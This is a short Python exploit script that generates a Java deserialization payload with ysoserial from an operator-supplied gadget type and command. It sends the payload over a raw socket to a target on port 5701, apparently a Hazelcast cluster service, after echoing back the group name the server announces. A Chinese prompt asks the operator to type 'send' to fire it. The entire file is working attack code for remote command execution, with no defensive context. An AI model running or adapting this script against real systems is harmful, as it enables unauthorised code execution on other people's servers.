import socket
import threading
import time
import sys
import os
groupName = b""
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
def socketRecv(clientSocket):
    global groupName
    while(1):
        groupName += clientSocket.recv(1024)
if __name__ == '__main__':

    ip = sys.argv[1]
    payloadType = sys.argv[2]
    payload = sys.argv[3]

    os.system(f"java -jar ysoserial.jar {payloadType} {payload} > 1.ser")
    print(f"java -jar ysoserial.jar {payloadType} {payload} > 1.ser")
    clientSocket.connect((ip, 5701))
    obj1 = threading.Thread(target=socketRecv ,args=(clientSocket,))
    obj1.start()
    file = open("1.ser", 'rb')
    filebyte = file.read()
    print(filebyte)
    
    print("输入 send 发送payload")
    if(input("INPUT:")=="send"):
        print(groupName)
        clientSocket.send(groupName+b"\xFF\xFF\xFF\x9C"+filebyte)
    time.sleep(10)
    clientSocket.close()
